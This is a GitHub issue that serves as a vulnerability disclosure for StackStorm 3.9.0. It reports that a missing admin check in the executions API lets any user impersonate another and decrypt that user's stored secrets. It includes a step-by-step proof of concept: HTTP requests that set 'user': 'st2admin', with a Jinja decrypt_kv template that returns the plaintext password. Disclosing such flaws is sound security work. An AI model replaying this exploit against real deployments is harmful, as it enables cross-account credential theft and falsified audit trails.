Skip to content

Execution User Impersonation Allows Cross-Account KV Secret Exfiltration (All Versions Including 3.9.0) #6379

Description

@geo-chen

reported via email on 25 May 2026 with no response.

Summary

Any authenticated StackStorm user can submit an action execution request that runs under the identity of any other user by supplying a user field in the POST /api/v1/executions JSON body. The guard function assert_user_is_admin_if_user_query_param_is_provided in the NoOp RBAC backend is called without require_rbac=True, so the check never fires regardless of RBAC configuration. An attacker who supplies "user": "st2admin" and a Jinja template referencing {{ st2kv.user.<key> | decrypt_kv }} in an action parameter can decrypt and exfiltrate user-scoped secrets belonging to the impersonated account. The rendered (decrypted) value is also returned inline in the API response before execution completes, giving the attacker immediate access to the plaintext secret without waiting for the execution result.

Details

StackStorm's API model LiveActionCreateAPI exposes a user field described as "User context under which action should run (admins only)". When a client POSTs to /api/v1/executions, _handle_schedule_execution extracts that field and calls:

rbac_utils.assert_user_is_admin_if_user_query_param_is_provided(
    user_db=requester_user, user=user
)

File: st2api/st2api/controllers/v1/actionexecutions.py, line 135-137.

The call omits require_rbac=True, so the default value require_rbac=False is used. The NoOp RBAC backend (active whenever rbac.enable = False, which is the default) implements this check as:

if user != user_db.name and require_rbac and not is_rbac_enabled:
    raise AccessDeniedError(...)

File: st2common/st2common/rbac/backends/noop.py, line 155.

Because require_rbac is False, the entire condition evaluates to False and no exception is raised. The user value from the request body is then stored verbatim in execution.context["user"].

Downstream, render_live_params in st2common/st2common/util/param.py reads action_context["user"] to construct a UserKeyValueLookup object:

user = action_context["user"] if "user" in action_context else None
system_keyvalue_context[USER_SCOPE] = UserKeyValueLookup(
    scope=FULL_USER_SCOPE, user=user, context=action_context
)

File: st2common/st2common/util/param.py, lines 100-112.

If an action parameter contains a Jinja template referencing {{ st2kv.user.<keyname> | decrypt_kv }}, the template engine resolves st2kv.user against the user-scoped KV store of the impersonated account and returns the decrypted value. This rendered value is then:

  1. Returned in the liveaction.parameters field of the POST /api/v1/executions HTTP response body (immediate exfiltration without waiting for execution).
  2. Passed to the shell runner, causing the decrypted secret to appear in result.stdout.

The same flaw exists in the re-run endpoint (POST /api/v1/executions/{id}/re_run, line 669) where spec_api.user is passed without an admin check.

By contrast, the key-value API itself correctly uses require_rbac=True when validating the ?user= query parameter, so direct access to another user's KV namespace via the keys API is blocked. The execution pathway is the only unguarded route.

Comparison with GHSA-7pcr-cq2v-cv39 (Improper RBAC Check for K/V Datastore Access): That advisory covered access to K/V items when RBAC was enabled with explicit K/V permission grants; it did not address user-field impersonation in the execution API as a bypass. This issue affects all installations regardless of whether the RBAC backend is enabled.

PoC

Prerequisites: two accounts, st2admin and testuser, in a default StackStorm deployment (RBAC disabled is the default).

Step 1 - Store a user-scoped secret as st2admin:

POST /auth/v1/tokens HTTP/1.1
Host: stackstorm
Authorization: Basic c3QyYWRtaW46Q2hAbmdlTWU=
Content-Type: application/json

{"ttl": 86400}

Response: {"token":"<ADMIN_TOKEN>",...}
PUT /api/v1/keys/apipassword HTTP/1.1
Host: stackstorm
X-Auth-Token: <ADMIN_TOKEN>
Content-Type: application/json

{"name":"apipassword","value":"SuperSecretAdminPass123","secret":true,"scope":"st2kv.user"}

Response: {"uid":"key_value_pair:st2kv.user:st2admin:apipassword","scope":"st2kv.user","user":"st2admin","encrypted":true,...}

Step 2 - Authenticate as testuser:

POST /auth/v1/tokens HTTP/1.1
Host: stackstorm
Authorization: Basic dGVzdHVzZXI6dGVzdHVzZXIxMjM=
Content-Type: application/json

{"ttl": 86400}

Response: {"token":"<USER_TOKEN>","user":"testuser",...}

Step 3 - Confirm testuser cannot access admin's KV directly:

GET /api/v1/keys?scope=user&user=st2admin HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>

Response: 400 {"faultstring":"\"user\" attribute can only be provided by admins when RBAC is enabled"}

Step 4 - Exfiltrate admin's user-scoped secret via execution impersonation:

POST /api/v1/executions HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>
Content-Type: application/json

{
  "action": "core.local",
  "user": "st2admin",
  "parameters": {
    "cmd": "echo {{ st2kv.user.apipassword | decrypt_kv }}"
  }
}

Response (immediate, before execution completes):
{
  "liveaction": {
    "parameters": {
      "cmd": "echo SuperSecretAdminPass123"
    }
  },
  "context": {
    "user": "st2admin"
  },
  ...
}

Step 5 - Execution result confirms exfiltration:

GET /api/v1/executions/<id> HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>

Response:
{
  "status": "succeeded",
  "context": {"user": "st2admin"},
  "result": {"stdout": "SuperSecretAdminPass123", "return_code": 0}
}

Tested on StackStorm 3.9.0 (latest, commit 7d20478, Docker image stackstorm/st2api:latest).

Impact

Any authenticated StackStorm user (including accounts with no intended administrative privileges) can:

  1. Run any enabled action as an arbitrary user, bypassing audit trails and attributing the execution to the impersonated account.
  2. Exfiltrate all user-scoped datastore secrets belonging to any other user by referencing {{ st2kv.user.<key> | decrypt_kv }} in action parameters. The decrypted secret is returned in the HTTP response body before execution completes.
  3. Forge the execution context, causing downstream workflow logic that reads action_context.user to behave as if operated by the impersonated user.

In environments where user-scoped KV items hold credentials (API keys, passwords, OAuth tokens) for per-user integrations, this is a full cross-account credential theft vulnerability. Because the re_run endpoint has the same flaw, re-running any existing execution with a spoofed user is also possible.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions